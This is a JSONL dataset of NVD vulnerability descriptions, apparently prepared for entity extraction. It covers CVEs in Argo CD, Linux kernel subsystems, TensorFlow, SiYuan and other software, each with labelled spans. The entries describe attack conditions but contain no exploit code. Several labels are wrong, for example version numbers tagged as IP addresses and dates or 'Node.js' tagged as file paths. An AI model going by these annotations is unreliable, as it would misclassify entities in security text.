{"text": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions of Argo CD starting with v1.8.2 and prior to 2.3.13, 2.4.19, 2.5.6, and 2.6.0-rc-3  are vulnerable to an improper authorization bug causing the API to accept certain invalid tokens. OIDC providers include an `aud` (audience) claim in signed tokens. The value of that claim specifies the intended audience(s) of the token (i.e. the service or services which are meant to accept the token). Argo CD _does_ validate that the token was signed by Argo CD's configured OIDC provider. But Argo CD _does not_ validate the audience claim, so it will accept tokens that are not intended for Argo CD. If Argo CD's configured OIDC provider also serves other audiences (for example, a file storage service), then Argo CD will accept a token intended for one of those other audiences. Argo CD will grant the user privileges based on the token's `groups` claim, even though those groups were not intended to be used by Argo CD. This bug also increases the impact of a stolen token. If an attacker steals a valid token for a different audience, they can use it to access Argo CD. A patch for this vulnerability has been released in versions 2.6.0-rc3, 2.5.6, 2.4.19, and 2.3.13. There are no workarounds.", "spans": {"SYSTEM: Kubernetes": [[62, 72]], "VULNERABILITY: improper authorization": [[188, 210]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22482"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: writeback: fix use-after-free in __mark_inode_dirty()\n\nAn use-after-free issue occurred when __mark_inode_dirty() get the\nbdi_writeback that was in the progress of switching.\n\nCPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1\n......\npstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : __mark_inode_dirty+0x124/0x418\nlr : __mark_inode_dirty+0x118/0x418\nsp : ffffffc08c9dbbc0\n........\nCall trace:\n __mark_inode_dirty+0x124/0x418\n generic_update_time+0x4c/0x60\n file_modified+0xcc/0xd0\n ext4_buffered_write_iter+0x58/0x124\n ext4_file_write_iter+0x54/0x704\n vfs_write+0x1c0/0x308\n ksys_write+0x74/0x10c\n __arm64_sys_write+0x1c/0x28\n invoke_syscall+0x48/0x114\n el0_svc_common.constprop.0+0xc0/0xe0\n do_el0_svc+0x1c/0x28\n el0_svc+0x40/0xe4\n el0t_64_sync_handler+0x120/0x12c\n el0t_64_sync+0x194/0x198\n\nRoot cause is:\n\nsystemd-random-seed                         kworker\n----------------------------------------------------------------------\n___mark_inode_dirty                     inode_switch_wbs_work_fn\n\n  spin_lock(&inode->i_lock);\n  inode_attach_wb\n  locked_inode_to_wb_and_lock_list\n     get inode->i_wb\n     spin_unlock(&inode->i_lock);\n     spin_lock(&wb->list_lock)\n  spin_lock(&inode->i_lock)\n  inode_io_list_move_locked\n  spin_unlock(&wb->list_lock)\n  spin_unlock(&inode->i_lock)\n                                    spin_lock(&old_wb->list_lock)\n                                      inode_do_switch_wbs\n                                        spin_lock(&inode->i_lock)\n                                        inode->i_wb = new_wb\n                                        spin_unlock(&inode->i_lock)\n                                    spin_unlock(&old_wb->list_lock)\n                                    wb_put_many(old_wb, nr_switched)\n                                      cgwb_release\n                                      old wb released\n  wb_wakeup_delayed() accesses wb,\n  then trigger the use-after-free\n  issue\n\nFix this race condition by holding inode spinlock until\nwb_wakeup_delayed() finished.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[271, 278], [925, 932]], "VULNERABILITY: use-after-free": [[88, 102], [131, 145], [2013, 2027]], "VULNERABILITY: race condition": [[2046, 2060]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39866"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Studio Photo 3.6.6.922. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of TIF files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-10764.", "spans": {"IP_ADDRESS: 3.6.6.922": [[117, 126]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15629"}}
{"text": "Impala sessions use a 16 byte secret to verify that the session is not being hijacked by another user. However, these secrets appear in the Impala logs, therefore Impala users with access to the logs can use another authenticated user's sessions with specially constructed requests. This means the attacker is able to execute statements for which they don't have the necessary privileges otherwise. Impala deployments with Apache Sentry or Apache Ranger authorization enabled may be vulnerable to privilege escalation if an authenticated attacker is able to hijack a session or query from another authenticated user with privileges not assigned to the attacker. Impala deployments with audit logging enabled may be vulnerable to incorrect audit logging as a user could undertake actions that were logged under the name of a different authenticated user. Constructing an attack requires a high degree of technical sophistication and access to the Impala system as an authenticated user. Mitigation: If an Impala deployment uses Apache Sentry, Apache Ranger or audit logging, then users should upgrade to a version of Impala with the fix for IMPALA-10600. The Impala 4.0 release includes this fix. This hides session secrets from the logs to eliminate the risk of any attack using this mechanism. In lieu of an upgrade, restricting access to logs that expose secrets will reduce the risk of an attack. Restricting access to the Impala deployment to trusted users will also reduce the risk of an attack. Log redaction techniques can be used to redact secrets from the logs.", "spans": {"ORGANIZATION: Apache": [[423, 429], [440, 446], [1027, 1033], [1042, 1048]], "VULNERABILITY: privilege escalation": [[497, 517]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28131"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: cpsw_new: Execute ndo_set_rx_mode callback in a work queue\n\nCommit 1767bb2d47b7 (\"ipv6: mcast: Don't hold RTNL for\nIPV6_ADD_MEMBERSHIP and MCAST_JOIN_GROUP.\") removed the RTNL lock for\nIPV6_ADD_MEMBERSHIP and MCAST_JOIN_GROUP operations. However, this\nchange triggered the following call trace on my BeagleBone Black board:\n  WARNING: net/8021q/vlan_core.c:236 at vlan_for_each+0x120/0x124, CPU#0: rpcbind/496\n  RTNL: assertion failed at net/8021q/vlan_core.c (236)\n  Modules linked in:\n  CPU: 0 UID: 997 PID: 496 Comm: rpcbind Not tainted 6.19.0-rc6-next-20260122-yocto-standard+ #8 PREEMPT\n  Hardware name: Generic AM33XX (Flattened Device Tree)\n  Call trace:\n   unwind_backtrace from show_stack+0x28/0x2c\n   show_stack from dump_stack_lvl+0x30/0x38\n   dump_stack_lvl from __warn+0xb8/0x11c\n   __warn from warn_slowpath_fmt+0x130/0x194\n   warn_slowpath_fmt from vlan_for_each+0x120/0x124\n   vlan_for_each from cpsw_add_mc_addr+0x54/0xd8\n   cpsw_add_mc_addr from __hw_addr_ref_sync_dev+0xc4/0xec\n   __hw_addr_ref_sync_dev from __dev_mc_add+0x78/0x88\n   __dev_mc_add from igmp6_group_added+0x84/0xec\n   igmp6_group_added from __ipv6_dev_mc_inc+0x1fc/0x2f0\n   __ipv6_dev_mc_inc from __ipv6_sock_mc_join+0x124/0x1b4\n   __ipv6_sock_mc_join from do_ipv6_setsockopt+0x84c/0x1168\n   do_ipv6_setsockopt from ipv6_setsockopt+0x88/0xc8\n   ipv6_setsockopt from do_sock_setsockopt+0xe8/0x19c\n   do_sock_setsockopt from __sys_setsockopt+0x84/0xac\n   __sys_setsockopt from ret_fast_syscall+0x0/0x5\n\nThis trace occurs because vlan_for_each() is called within\ncpsw_ndo_set_rx_mode(), which expects the RTNL lock to be held.\nSince modifying vlan_for_each() to operate without the RTNL lock is not\nstraightforward, and because ndo_set_rx_mode() is invoked both with and\nwithout the RTNL lock across different code paths, simply adding\nrtnl_lock() in cpsw_ndo_set_rx_mode() is not a viable solution.\n\nTo resolve this issue, we opt to execute the actual processing within\na work queue, following the approach used by the icssg-prueth driver.", "spans": {"FILEPATH: /8021q/vlan_core.c": [[412, 430], [515, 533]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23203"}}
{"text": "Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6.", "spans": {"SYSTEM: WordPress": [[288, 297], [460, 469], [966, 975], [1170, 1179]], "VULNERABILITY: Server-Side Request Forgery": [[0, 27]], "VULNERABILITY: SSRF": [[29, 33]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-40700"}}
{"text": "Vulnerability in the Oracle BI Publisher product of Oracle Fusion Middleware (component: Mobile Service). Supported versions that are affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher. While the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data as well as unauthorized read access to a subset of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 7.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 11.1.1.9": [[147, 155]], "IP_ADDRESS: 12.2.1.3": [[159, 167]], "IP_ADDRESS: 12.2.1.4": [[174, 182]], "ORGANIZATION: Oracle": [[21, 27], [52, 58], [294, 300], [345, 351], [531, 537], [618, 624]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14571"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix warning when putting transaction with qgroups enabled after abort\n\nIf we have a transaction abort with qgroups enabled we get a warning\ntriggered when doing the final put on the transaction, like this:\n\n  [552.6789] ------------[ cut here ]------------\n  [552.6815] WARNING: CPU: 4 PID: 81745 at fs/btrfs/transaction.c:144 btrfs_put_transaction+0x123/0x130 [btrfs]\n  [552.6817] Modules linked in: btrfs blake2b_generic xor (...)\n  [552.6819] CPU: 4 PID: 81745 Comm: btrfs-transacti Tainted: G        W          6.4.0-rc6-btrfs-next-134+ #1\n  [552.6819] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014\n  [552.6819] RIP: 0010:btrfs_put_transaction+0x123/0x130 [btrfs]\n  [552.6821] Code: bd a0 01 00 (...)\n  [552.6821] RSP: 0018:ffffa168c0527e28 EFLAGS: 00010286\n  [552.6821] RAX: ffff936042caed00 RBX: ffff93604a3eb448 RCX: 0000000000000000\n  [552.6821] RDX: ffff93606421b028 RSI: ffffffff92ff0878 RDI: ffff93606421b010\n  [552.6821] RBP: ffff93606421b000 R08: 0000000000000000 R09: ffffa168c0d07c20\n  [552.6821] R10: 0000000000000000 R11: ffff93608dc52950 R12: ffffa168c0527e70\n  [552.6821] R13: ffff93606421b000 R14: ffff93604a3eb420 R15: ffff93606421b028\n  [552.6821] FS:  0000000000000000(0000) GS:ffff93675fb00000(0000) knlGS:0000000000000000\n  [552.6821] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  [552.6821] CR2: 0000558ad262b000 CR3: 000000014feda005 CR4: 0000000000370ee0\n  [552.6822] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  [552.6822] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  [552.6822] Call Trace:\n  [552.6822]  <TASK>\n  [552.6822]  ? __warn+0x80/0x130\n  [552.6822]  ? btrfs_put_transaction+0x123/0x130 [btrfs]\n  [552.6824]  ? report_bug+0x1f4/0x200\n  [552.6824]  ? handle_bug+0x42/0x70\n  [552.6824]  ? exc_invalid_op+0x14/0x70\n  [552.6824]  ? asm_exc_invalid_op+0x16/0x20\n  [552.6824]  ? btrfs_put_transaction+0x123/0x130 [btrfs]\n  [552.6826]  btrfs_cleanup_transaction+0xe7/0x5e0 [btrfs]\n  [552.6828]  ? _raw_spin_unlock_irqrestore+0x23/0x40\n  [552.6828]  ? try_to_wake_up+0x94/0x5e0\n  [552.6828]  ? __pfx_process_timeout+0x10/0x10\n  [552.6828]  transaction_kthread+0x103/0x1d0 [btrfs]\n  [552.6830]  ? __pfx_transaction_kthread+0x10/0x10 [btrfs]\n  [552.6832]  kthread+0xee/0x120\n  [552.6832]  ? __pfx_kthread+0x10/0x10\n  [552.6832]  ret_from_fork+0x29/0x50\n  [552.6832]  </TASK>\n  [552.6832] ---[ end trace 0000000000000000 ]---\n\nThis corresponds to this line of code:\n\n  void btrfs_put_transaction(struct btrfs_transaction *transaction)\n  {\n      (...)\n          WARN_ON(!RB_EMPTY_ROOT(\n                          &transaction->delayed_refs.dirty_extent_root));\n      (...)\n  }\n\nThe warning happens because btrfs_qgroup_destroy_extent_records(), called\nin the transaction abort path, we free all entries from the rbtree\n\"dirty_extent_root\" with rbtree_postorder_for_each_entry_safe(), but we\ndon't actually empty the rbtree - it's still pointing to nodes that were\nfreed.\n\nSo set the rbtree's root node to NULL to avoid this warning (assign\nRB_ROOT).", "spans": {"DOMAIN: rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org": [[693, 737]], "FILEPATH: /btrfs/transaction.c": [[378, 398]], "FILEPATH: /01/2014": [[740, 748]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[648, 652]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53865"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusbnet: Fix using smp_processor_id() in preemptible code warnings\n\nSyzbot reported the following warning:\n\nBUG: using smp_processor_id() in preemptible [00000000] code: dhcpcd/2879\ncaller is usbnet_skb_return+0x74/0x490 drivers/net/usb/usbnet.c:331\nCPU: 1 UID: 0 PID: 2879 Comm: dhcpcd Not tainted 6.15.0-rc4-syzkaller-00098-g615dca38c2ea #0 PREEMPT(voluntary)\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x16c/0x1f0 lib/dump_stack.c:120\n check_preemption_disabled+0xd0/0xe0 lib/smp_processor_id.c:49\n usbnet_skb_return+0x74/0x490 drivers/net/usb/usbnet.c:331\n usbnet_resume_rx+0x4b/0x170 drivers/net/usb/usbnet.c:708\n usbnet_change_mtu+0x1be/0x220 drivers/net/usb/usbnet.c:417\n __dev_set_mtu net/core/dev.c:9443 [inline]\n netif_set_mtu_ext+0x369/0x5c0 net/core/dev.c:9496\n netif_set_mtu+0xb0/0x160 net/core/dev.c:9520\n dev_set_mtu+0xae/0x170 net/core/dev_api.c:247\n dev_ifsioc+0xa31/0x18d0 net/core/dev_ioctl.c:572\n dev_ioctl+0x223/0x10e0 net/core/dev_ioctl.c:821\n sock_do_ioctl+0x19d/0x280 net/socket.c:1204\n sock_ioctl+0x42f/0x6a0 net/socket.c:1311\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:906 [inline]\n __se_sys_ioctl fs/ioctl.c:892 [inline]\n __x64_sys_ioctl+0x190/0x200 fs/ioctl.c:892\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0x260 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nFor historical and portability reasons, the netif_rx() is usually\nrun in the softirq or interrupt context, this commit therefore add\nlocal_bh_disable/enable() protection in the usbnet_resume_rx().", "spans": {"FILEPATH: /net/usb/usbnet.c": [[296, 313], [642, 659], [700, 717], [760, 777]], "FILEPATH: /core/dev.c": [[800, 811], [860, 871], [906, 917]], "FILEPATH: /core/dev_api.c": [[950, 965]], "FILEPATH: /core/dev_ioctl.c": [[998, 1015], [1047, 1064]], "FILEPATH: /x86/entry/syscall_64.c": [[1334, 1357], [1400, 1423]], "FILEPATH: dump_stack.c": [[468, 480], [525, 537]], "FILEPATH: smp_processor_id.c": [[583, 601]], "FILEPATH: socket.c": [[1100, 1108], [1142, 1150]], "FILEPATH: ioctl.c": [[1170, 1177], [1209, 1216], [1249, 1256], [1302, 1309]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40164"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/vt-d: Avoid memory allocation in iommu_suspend()\n\nThe iommu_suspend() syscore suspend callback is invoked with IRQ disabled.\nAllocating memory with the GFP_KERNEL flag may re-enable IRQs during\nthe suspend callback, which can cause intermittent suspend/hibernation\nproblems with the following kernel traces:\n\nCalling iommu_suspend+0x0/0x1d0\n------------[ cut here ]------------\nWARNING: CPU: 0 PID: 15 at kernel/time/timekeeping.c:868 ktime_get+0x9b/0xb0\n...\nCPU: 0 PID: 15 Comm: rcu_preempt Tainted: G     U      E      6.3-intel #r1\nRIP: 0010:ktime_get+0x9b/0xb0\n...\nCall Trace:\n <IRQ>\n tick_sched_timer+0x22/0x90\n ? __pfx_tick_sched_timer+0x10/0x10\n __hrtimer_run_queues+0x111/0x2b0\n hrtimer_interrupt+0xfa/0x230\n __sysvec_apic_timer_interrupt+0x63/0x140\n sysvec_apic_timer_interrupt+0x7b/0xa0\n </IRQ>\n <TASK>\n asm_sysvec_apic_timer_interrupt+0x1f/0x30\n...\n------------[ cut here ]------------\nInterrupts enabled after iommu_suspend+0x0/0x1d0\nWARNING: CPU: 0 PID: 27420 at drivers/base/syscore.c:68 syscore_suspend+0x147/0x270\nCPU: 0 PID: 27420 Comm: rtcwake Tainted: G     U  W   E      6.3-intel #r1\nRIP: 0010:syscore_suspend+0x147/0x270\n...\nCall Trace:\n <TASK>\n hibernation_snapshot+0x25b/0x670\n hibernate+0xcd/0x390\n state_store+0xcf/0xe0\n kobj_attr_store+0x13/0x30\n sysfs_kf_write+0x3f/0x50\n kernfs_fop_write_iter+0x128/0x200\n vfs_write+0x1fd/0x3c0\n ksys_write+0x6f/0xf0\n __x64_sys_write+0x1d/0x30\n do_syscall_64+0x3b/0x90\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nGiven that only 4 words memory is needed, avoid the memory allocation in\niommu_suspend().", "spans": {"FILEPATH: /time/timekeeping.c": [[486, 505]], "FILEPATH: /base/syscore.c": [[1058, 1073]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52559"}}
{"text": "Keystone 5 is an open source CMS platform to build Node.js applications. This security advisory relates to a newly discovered capability in our query infrastructure to directly or indirectly expose the values of private fields, bypassing the configured access control. This is an access control related oracle attack in that the attack method guides an attacker during their attempt to reveal information they do not have access to. The complexity of completing the attack is limited by some length-dependent behaviors and the fidelity of the exposed information. Under some circumstances, field values or field value meta data can be determined, despite the field or list having `read` access control configured. If you use private fields or lists, you may be impacted. No patches exist at this time. There are no workarounds at this time", "spans": {"FILEPATH: Node.js": [[51, 58]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32624"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: Fix recursive locking in __configfs_open_file()\n\nIn flush_write_buffer, &p->frag_sem is acquired and then the loaded store\nfunction is called, which, here, is target_core_item_dbroot_store().  This\nfunction called filp_open(), following which these functions were called\n(in reverse order), according to the call trace:\n\n  down_read\n  __configfs_open_file\n  do_dentry_open\n  vfs_open\n  do_open\n  path_openat\n  do_filp_open\n  file_open_name\n  filp_open\n  target_core_item_dbroot_store\n  flush_write_buffer\n  configfs_write_iter\n\ntarget_core_item_dbroot_store() tries to validate the new file path by\ntrying to open the file path provided to it; however, in this case, the bug\nreport shows:\n\ndb_root: not a directory: /sys/kernel/config/target/dbroot\n\nindicating that the same configfs file was tried to be opened, on which it\nis currently working on. Thus, it is trying to acquire frag_sem semaphore\nof the same file of which it already holds the semaphore obtained in\nflush_write_buffer(), leading to acquiring the semaphore in a nested manner\nand a possibility of recursive locking.\n\nFix this by modifying target_core_item_dbroot_store() to use kern_path()\ninstead of filp_open() to avoid opening the file using filesystem-specific\nfunction __configfs_open_file(), and further modifying it to make this fix\ncompatible.", "spans": {"FILEPATH: /sys/kernel/config/target/dbroot": [[799, 831]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23292"}}
{"text": "PoD operations on misaligned GFNs T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] x86 HVM and PVH guests may be started in populate-on-demand (PoD) mode, to provide a way for them to later easily have more memory assigned. Guests are permitted to control certain P2M aspects of individual pages via hypercalls. These hypercalls may act on ranges of pages specified via page orders (resulting in a power-of-2 number of pages). The implementation of some of these hypercalls for PoD does not enforce the base page frame number to be suitably aligned for the specified order, yet some code involved in PoD handling actually makes such an assumption. These operations are XENMEM_decrease_reservation (CVE-2021-28704) and XENMEM_populate_physmap (CVE-2021-28707), the latter usable only by domains controlling the guest, i.e. a de-privileged qemu or a stub domain. (Patch 1, combining the fix to both these two issues.) In addition handling of XENMEM_decrease_reservation can also trigger a host crash when the specified page order is neither 4k nor 2M nor 1G (CVE-2021-28708, patch 2).", "spans": {"CVE_ID: CVE-2021-28704": [[778, 792]], "CVE_ID: CVE-2021-28707": [[823, 837]], "CVE_ID: CVE-2021-28708": [[1137, 1151]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28708"}}
{"text": "The Tasks.org Android app is an open-source app for to-do lists and reminders. The Tasks.org app uses the activity `ShareLinkActivity.kt` to handle \"share\" intents coming from other components in the same device and convert them to tasks. Those intents may contain arbitrary file paths as attachments, in which case the files pointed by those paths are copied in the app's external storage directory. Prior to versions 12.7.1 and 13.0.1, those paths were not validated, allowing a malicious or compromised application in the same device to force Tasks.org to copy files from its internal storage to its external storage directory, where they became accessible to any component with permission to read the external storage. This vulnerability can lead to sensitive information disclosure. All information in the user's notes and the app's preferences, including the encrypted credentials of CalDav integrations if enabled, could be accessed by third party applications installed on the same device. This issue was fixed in versions 12.7.1 and 13.0.1. There are no known workarounds.", "spans": {"DOMAIN: Tasks.org": [[4, 13], [83, 92], [546, 555]], "SYSTEM: Android": [[14, 21]], "VULNERABILITY: information disclosure": [[764, 786]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39349"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite's [`expand_dims.cc`](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/expand_dims.cc#L36-L50) contains a vulnerability which allows reading one element outside of bounds of heap allocated data. If `axis` is a large negative value (e.g., `-100000`), then after the first `if` it would still be negative. The check following the `if` statement will pass and the `for` loop would read one element before the start of `input_dims.data` (when `i = 0`). We have patched the issue in GitHub commit d94ffe08a65400f898241c0374e9edc6fa8ed257. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/expand_dims.cc#L36-L50": [[120, 253]], "HASH: d94ffe08a65400f898241c0374e9edc6fa8ed257": [[652, 692]], "ORGANIZATION: GitHub": [[638, 644]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37685"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Fix data races around sk->sk_shutdown.\n\nKCSAN found a data race around sk->sk_shutdown where unix_release_sock()\nand unix_shutdown() update it under unix_state_lock(), OTOH unix_poll()\nand unix_dgram_poll() read it locklessly.\n\nWe need to annotate the writes and reads with WRITE_ONCE() and READ_ONCE().\n\nBUG: KCSAN: data-race in unix_poll / unix_release_sock\n\nwrite to 0xffff88800d0f8aec of 1 bytes by task 264 on cpu 0:\n unix_release_sock+0x75c/0x910 net/unix/af_unix.c:631\n unix_release+0x59/0x80 net/unix/af_unix.c:1042\n __sock_release+0x7d/0x170 net/socket.c:653\n sock_close+0x19/0x30 net/socket.c:1397\n __fput+0x179/0x5e0 fs/file_table.c:321\n ____fput+0x15/0x20 fs/file_table.c:349\n task_work_run+0x116/0x1a0 kernel/task_work.c:179\n resume_user_mode_work include/linux/resume_user_mode.h:49 [inline]\n exit_to_user_mode_loop kernel/entry/common.c:171 [inline]\n exit_to_user_mode_prepare+0x174/0x180 kernel/entry/common.c:204\n __syscall_exit_to_user_mode_work kernel/entry/common.c:286 [inline]\n syscall_exit_to_user_mode+0x1a/0x30 kernel/entry/common.c:297\n do_syscall_64+0x4b/0x90 arch/x86/entry/common.c:86\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nread to 0xffff88800d0f8aec of 1 bytes by task 222 on cpu 1:\n unix_poll+0xa3/0x2a0 net/unix/af_unix.c:3170\n sock_poll+0xcf/0x2b0 net/socket.c:1385\n vfs_poll include/linux/poll.h:88 [inline]\n ep_item_poll.isra.0+0x78/0xc0 fs/eventpoll.c:855\n ep_send_events fs/eventpoll.c:1694 [inline]\n ep_poll fs/eventpoll.c:1823 [inline]\n do_epoll_wait+0x6c4/0xea0 fs/eventpoll.c:2258\n __do_sys_epoll_wait fs/eventpoll.c:2270 [inline]\n __se_sys_epoll_wait fs/eventpoll.c:2265 [inline]\n __x64_sys_epoll_wait+0xcc/0x190 fs/eventpoll.c:2265\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nvalue changed: 0x00 -> 0x03\n\nReported by Kernel Concurrency Sanitizer on:\nCPU: 1 PID: 222 Comm: dbus-broker Not tainted 6.3.0-rc7-02330-gca6270c12e20 #2\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014", "spans": {"DOMAIN: rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org": [[2117, 2161]], "FILEPATH: /unix/af_unix.c": [[534, 549], [581, 596], [1320, 1335]], "FILEPATH: /linux/resume_user_mode.h": [[846, 871]], "FILEPATH: /entry/common.c": [[914, 929], [988, 1003], [1048, 1063], [1120, 1135]], "FILEPATH: /x86/entry/common.c": [[1169, 1188], [1777, 1796], [1838, 1857]], "FILEPATH: /linux/poll.h": [[1398, 1411]], "FILEPATH: /01/2014": [[2164, 2172]], "FILEPATH: socket.c": [[633, 641], [672, 680], [1367, 1375]], "FILEPATH: file_table.c": [[709, 721], [749, 761]], "FILEPATH: task_work.c": [[800, 811]], "FILEPATH: eventpoll.c": [[1458, 1469], [1493, 1504], [1531, 1542], [1587, 1598], [1628, 1639], [1678, 1689], [1740, 1751]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[2072, 2076]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54226"}}
{"text": "SiYuan is a personal knowledge management system. Versions 3.6.0 and below contain an authorization bypass vulnerability in the /api/search/fullTextSearchBlock endpoint. When the method parameter is set to 2, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the Reader role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database. This is inconsistent with the application's own security model: the dedicated SQL endpoint (/api/query/sql) correctly requires both CheckAdminRole and CheckReadonly middleware, but the search endpoint bypasses these controls entirely. This issue has been fixed in version 3.6.1.", "spans": {"FILEPATH: /api/search/fullTextSearchBlock": [[128, 159]], "FILEPATH: /api/query/sql": [[645, 659]], "SYSTEM: SQLite": [[299, 305]], "VULNERABILITY: authorization bypass": [[86, 106]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32767"}}
{"text": "Multiple vulnerabilities in the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator could allow an authenticated remote attacker to conduct SQL injection attacks against the Aruba EdgeConnect Enterprise Orchestrator instance. An attacker could exploit these vulnerabilities to obtain and modify sensitive information in the underlying database potentially leading to complete compromise of the Aruba EdgeConnect Enterprise Orchestrator host in Aruba EdgeConnect Enterprise Orchestration Software version(s): Aruba EdgeConnect Enterprise Orchestrator (on-premises), Aruba EdgeConnect Enterprise Orchestrator-as-a-Service, Aruba EdgeConnect Enterprise Orchestrator-SP and Aruba EdgeConnect Enterprise Orchestrator Global Enterprise Tenant Orchestrators - Orchestrator 9.2.1.40179 and below, - Orchestrator 9.1.4.40436 and below, - Orchestrator 9.0.7.40110 and below, - Orchestrator 8.10.23.40015 and below, - Any older branches of Orchestrator not specifically mentioned.", "spans": {"ORGANIZATION: Aruba": [[66, 71], [198, 203], [418, 423], [468, 473], [532, 537], [589, 594], [645, 650], [694, 699]], "VULNERABILITY: SQL injection": [[164, 177]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-43522"}}
